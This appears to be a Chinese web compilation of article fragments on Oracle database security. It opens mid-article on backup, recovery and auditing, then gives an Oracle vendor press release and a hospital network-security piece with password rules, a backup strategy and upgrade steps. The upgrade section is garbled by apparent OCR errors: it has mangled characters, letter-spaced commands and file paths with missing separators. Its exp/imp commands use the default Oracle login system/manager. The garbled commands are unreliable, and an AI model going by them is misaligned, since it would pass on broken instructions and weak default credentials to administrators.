无论任何数据库系统, 都需要定期进行数据库备份工作, 以便在意外情况发生后, 可以利用备份数据来恢复数据库, Oracle数据库的备份与恢复是保证系统安全的一个重要措施。
3.1 故障类型
数据库数据的损坏可划分为三类:⑴实例崩溃:如意外断电, 操作系统崩溃, 软件内部错误等;⑵介质损坏:由于用户的错误操作、文件错误或硬盘故障均可能造成数据库文件的破坏或丢失;⑶异常突发灾难:这类灾难包括各种意外发生的自然的或非自然的灾难。
3.2 数据备份
Oracle数据库主要有物理备份和逻辑备份两种方式。逻辑备份是利用SQL语句从数据库中抽取并存入二进制文件, 这些数据可以重新引入原来的数据库, 或者以后引入其他数据库, Oracle提供的Export/Import工具可用于进行数据库的逻辑备份。物理备份是实际物理数据库文件从一处拷贝到另一处的备份。
3.2.1 物理备份
物理备份是数据库物理结构的操作系统文件的备份, 即将数据库的数据文件、日志文件、控制文件以及参数文件用操作系统工具拷贝到磁盘或磁带。物理备份包括完全数据库脱机备份、部分数据库脱机备份和部分数据库联机备份。实际应用中应根据具体情况和所处状态配合使用。
⑴完全数据库脱机备份:脱机备份又称冷备份, 是在Oracle数据库正常关闭后, 对包括构成数据库的所有数据文件、所有日志文件、控制文件及数据库初始化文件等进行完整地备份。对于这种备份方法, 在拷贝回数据库备份文件后, 不需要进行数据库恢复即可正常使用, 是一种简单快速、高度安全、维护费用低的备份方式。
⑵部分数据库脱机备份:首先将要备份的部分表空间设置为脱机, 然后备份表空间的数据文件, 再将这部分表空间设置为联机。对于这种方法, 由于数据库文件存在不同步, 在备份文件拷回数据库时, 需要实施数据库恢复。它只能在归档模式下使用, 拷回备份文件时使用归档日志进行数据库恢复。
⑶部分数据库联机备份:联机备份又称热备份, 是在数据库正常运行状态下进行的, 备份期间不影响用户使用, 而且减少了备份的工作量。这种备份包括部分表空间、控制文件、数据文件、归档日志文件备份等。由于在这种备份中存在数据文件之间不同步, 在备份文件拷回数据库时需要实施数据库恢复, 同部分数据库脱机备份结果一样, 只能在归档模式下使用, 拷回备份文件时使用归档日志进行数据库恢复。与部分数据库脱机备份所不同的是首先要将表空间设置为备份状态而不是脱机状态。
3.2.2 逻辑备份
通过O r a c l e提供的操作系统工具Export和Import将数据库中的数据导出、导入, 来实现数据库的逻辑备份。
⑴Export:在每个Oracle数据库中, 可以使用Export命令将数据库中的数据备份成一个二进制的操作系统文件, 称为输出转储文件 (DMP) 。可以根据需要按三种不同的方式导出数据, 即表方式、用户方式、全部数据方式。
⑵Import:是将使用Export命令导出的数据, 在需要恢复时用Import命令进行数据导入到数据库中。在导入时也有将整个数据库, 或按指定数据库文件、指定用户对象导入等三种方式。若导入整个导出的转储文件, 则包括表空间、数据文件和用户在内的所有数据库对象都会在导入时创建。
3.3 数据恢复
根据故障发生原因及数据库所受损坏的不同程度, 决定采用何种方式进行数据库恢复, 以便使Oracle数据库系统尽可能快速、完整的恢复到正常运行状态。数据库恢复的方法根据故障类型可以分成实例恢复和介质恢复。
3.3.1 实例恢复
实例恢复是有Oracle数据库自动完成的。数据库需要访问位于正确位置的所有控制文件、联机重做日志文件和数据文件。数据库中任何未提交的事务都要回滚。一个实例失败后, 当数据库要启动时, 必须检查数据库报警日志中的错误信息。当一个实例失败后数据库重新启动时, Oracle检查数据文件和联机日志文件, 并把所有文件同步到同一时间点上, 从而实现恢复。
3.3.2 介质恢复
介质恢复主要在由于介质故障引起数据库文件的破坏时使用。介质故障是当一个文件、一个文件的部分或一个磁盘不能读或不能写时出现的故障。基于数据库的归档方式, 介质恢复可分完全介质恢复和不完全介质恢复两种形式。
完全介质恢复可恢复全部丢失的数据, 使用连续的归档日志记录, 使数据库恢复到最新状态。不完全介质恢复是在完全介质恢复不可能进行或有特殊要求时进行的介质恢复。例如, 系统表空间数据文件损坏或在线日志损坏, 或人为误删除不应该删除的表、表空间等, 这时可以实施不完全介质恢复, 使数据库恢复到故障前或用户出错的一个事务一致性状态。
4 数据审计
数据库审计是保证数据库安全运行最重要的安全措施之一, 它具有审计发生在数据库内部的所有操作的能力。审计记录可以写入SYS.AUD$表或操作系统的审计跟踪中。
数据库的审计方法分三种级别:语句级审计、权限级审计和对象级审计。不同的审计级别规定了系统对其内部所发生的活动进行审计的功能。语句级审计表示只审计某种类型的SQL语句, 可以审计某个用户或所有用户的SQL语句;权限级审计表示只审计某一个系统权限的使用情况, 可以审计某个用户或所有用户使用的系统权限;对象级审计用于监视所有用户对某一指定用户的表的存取情况。
除启动审计功能外, 设置后台进程跟踪和用户SQL语句跟踪, 也可以起到审计用户的作用。数据库管理员可以灵活的使用这些审计方法, 对用户监视, 防止用户对数据库进行非法操作, 以确保数据库的安全。
在默认情况下, 系统为了节省资源, 减少I/O操作, 数据库的审计功能是关闭的。为保证数据库的正常运行, 应根据情况必要的时候有选择地使用, 尽可能将审计事件的数量控制在合理的范围内。
5 结束语
随着Oracle数据库系统的广泛应用及版本的不断升级, 其系统的性能及安全性将会更加优异和完善。但由于数据库的安全问题涉及数以万计用户的安全和经济利益, 因此, 加强数据库系统的安全管理在管理信息系统仍然是十分重要的课题。
参考文献
[1]Kevin Loney, Marlene Therault.Oracle8i数据库管理员手册.机械工业出版社.2000
[2]Rama Velpuri, Anand Adkoli.Oracle8i备份与恢复手册.机械工业出版社.2001
[3]李永波.Oracle数据库的安全及备份恢复.电脑知识与技术.2004 (4)
Oracle安全 第10篇
近日,针对政府、教育、医疗机构,甲骨文推出了全面的解决方案,不仅提供了各个机构在信息化建设和转型中所需的所有关键组件——数据库、中间件和管理软件,并且它们全部基于开放标准; 更提供了全面集成的解决方案——从人力资源和财务管理到采购和公众关系管理; 并遵守了主要的行业标准。
甲骨文公司大中华区应用软件业务总经理卢汝文表示: “越来越多的政府、教育、医疗机构选择了Oracle行业解决方案。甲骨文公司将积极推进融合战略,为中国的政府、教育、医疗机构客户提供更符合他们需要的行业解决方案。”
针对政府部门未来的发展,甲骨文推出了Oracle iGovernment架构,提出了创新、集成和智能是政府及公共事业信息化建设目标的理念。Oracle iGovernment基于开放标准和服务导向架构,结合行业的需求,融合了甲骨文领先的数据库、中间件和应用产品,可帮助政府机关和公共行业的机构实现创新性、集成式和智能化的管理。
而PeopleSoft校园解决方案则支持数字化校园建设。这一方案可以帮助学校在一个安全稳定的环境中管理整个学生生命周期——从招生和入学到学生服务和校友关系。据介绍,PeopleSoft校园解决方案为学院和大学提供了它们所需的灵活性,能有效管理潜在学生和处于摇摆状态的学生。借助PeopleSoft校园解决方案,学校能够集中财务、学生和人力资源数据,从而提高管理效率和信息准确性。
Oracle医疗卫生信息管理资源平台是一个以开放标准和服务导向架构为基础开发的行业化综合管理信息平台,以单一信息架构实现强大的多层次服务能力,融合了从“信息获取、信息整合,到信息资源利用”的一揽子解决方案,适合面对分布式数据孤岛和应用烟囱环境下实现信息整合,支撑业务流程协同整合。
Oracle安全 第11篇
1 医院网络的安全策略
1.1 医院局域网与外网的逻辑隔离
通过使用先进的软件防火墙等安全手段, 实施网络之间访问控制的组件集合, 基本上可以防止外部计算机的非法入侵。但是, 软件防火墙会使整个系统工作效率及数据吞吐速度下降, 甚至有些软件防火墙会存在漏洞, 导致有些黑客绕过其防御体系而给数据库安全带来损失。由于没有严格的物理隔离, 仍然存在一系列无法避免的风险。
1.2 医院局域网与外网的物理隔离
物理隔离是指医院内部网与外网没有任何形式的物理连接, 如果实现其物理隔离, 连接Internet的计算机则不可能再连接到医院内部网络。实现物理分开, 可以有效防止病毒、黑客的攻击, 这是最安全的网络隔离方式。
1.3 加强局域网内部的网络安全
规范医院内网的使用安全, 严格审核登陆内网的计算机。安装内部网络杀毒软件, (1) 定期升级杀毒软件; (2) 定期对局域网内的计算机进行杀毒; (3) 严格控制前端工作站使用光驱、软驱; (4) 尽量屏蔽优盘。
2 建立严格的用户管理制度
2.1 建立用户权限逐级申请制度
严格管理前端工作站的用户授权, Oracle数据库的使用要经过逐级审核, 首先要得到使用部门领导的审核确认, 再得到上级管理部门的确认, 最后由系统管理员根据人员工作性质和使用的程序分配相应的用户角色和用户权限。用户必须专人专用, 不能越权使用。
2.2 用户密码的安全管理
系统管理员应定制Oracle用户密码的复杂性规则, 加强用户密码的管理, 前台数据库用户必须管理好自己的用户密码, 不能使用系统管理员设置的原始密码, 工作站用户开通后, 使用者必须对原始密码进行修改。密码的设置和使用最好遵守以下原则: (1) 密码一定不要与帐户名相同; (2) 尽可能的陌生和复杂; (3) 可能的长, 设置密码的时候都要求不短于6位; (4) 尽量不要设置连续或重复的数字或字母; (5) 设置数字加字母的密码为最好的组合; (6) 经常更换密码; (7) 加强自我安全意识。
3 建立Oracle数据库备份及恢复体系
3.1 制定Oracle备份策略
通过详细分析Oracle数据库存储结构、数据库运行方式、数据存储文件、数据增长速度和数据增长密度时段等实际情况, 结合Oracle数据库备份方式的优缺点, 制定以下备份策略:
(1) 多种备份方法结合, 物理备份 (联机备份与脱机备份) 和逻辑备份相结合。一旦物理备份损坏, 可以重新创建数据库, 然后用逻辑备份来恢复。
(2) 每周至少进行一次数据库的脱机备份, 备份介质最好使用大容量的磁带或磁带库, 以免人工更换磁带的麻烦。备份的磁带应定期采取异地保存。应避免使用磁盘备份。
(3) 每天进行一次数据库的联机备份, 可定制在每天晚上数据库访问量较少的时候进行。
3.2 定制Oracle数据库恢复策略
备份的目的是使数据的安全恢复。结合数据库的故障性质, Oracle提供了不同的恢复模式。尽量利用RMAN进行完全恢复, 所有在线和归档重做日志文件中的记录都将会被用来恢复数据库, 从备份中恢复已经损坏的文件, 然后应用日志文件将该数据文件恢复到当前时间点。要充分意识到数据备份的重要性, 恢复都是基于备份基础之上的。当数据库出现故障时要依据备份的策略作出及时、有效的恢复策略, 以便确保数据的完全恢复。
4 定期进行数据库的升级
(1) 通过自带的exp程序将数据库导出, 导出参数中的FULL=Y, 导出所使用的用户名为System。如果导出的文件是存放在e:upg rade文件夹, 则导出命令为:exp system/manager full=y file=e:upgradeexpfull-database.dmp log=e:upgradeexpfulldatabase.logo
(2) 在新的硬件环境卜, 完成新版本数据库管理软件的安装。需要注意的是, 在安装过程中, 所选抒的字符集应该与原来的数据库保持一致, if算机名、IP地lil_也应该与原来的机器有所区别。
(3) 在新版本中, 创建除索引以外的其它对象, 储存语句中的工NITIAL, NEX丁储存参数应该根据原有数据库的实际值进行设置。需要注意的是, 表和表空hl一定要指定储存子句, 否则它们就会默认取缺省值, 而这将会对该表的事务处理速度造成非常严重的负向影响。
(4) 使用自带的Imp应用程序将表中数据导入, 所使用的用户名为System, 导出参数中的FULL、工gnore, Commit均等1-.i;。导入数据的命令为:i m p s y s t e m/m a n a g e r f u l l=y i g n o r e=y commit=y file=e:upgradeExpfulldatabase.dmp log=e:upgradeexpfulldatabase.log。数据成功导入后, 即可建立索引对象。
(5) 对机器以及侦听参数中的机器名和IP地址进行修改, 随后将数据阵服务器重启, 即可完成本次系统升级。
参考文献
[1]何杰文.浅析数据库的日常维护和管理[J].科技致富向导, 2011 (11) .
Oracle安全
声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。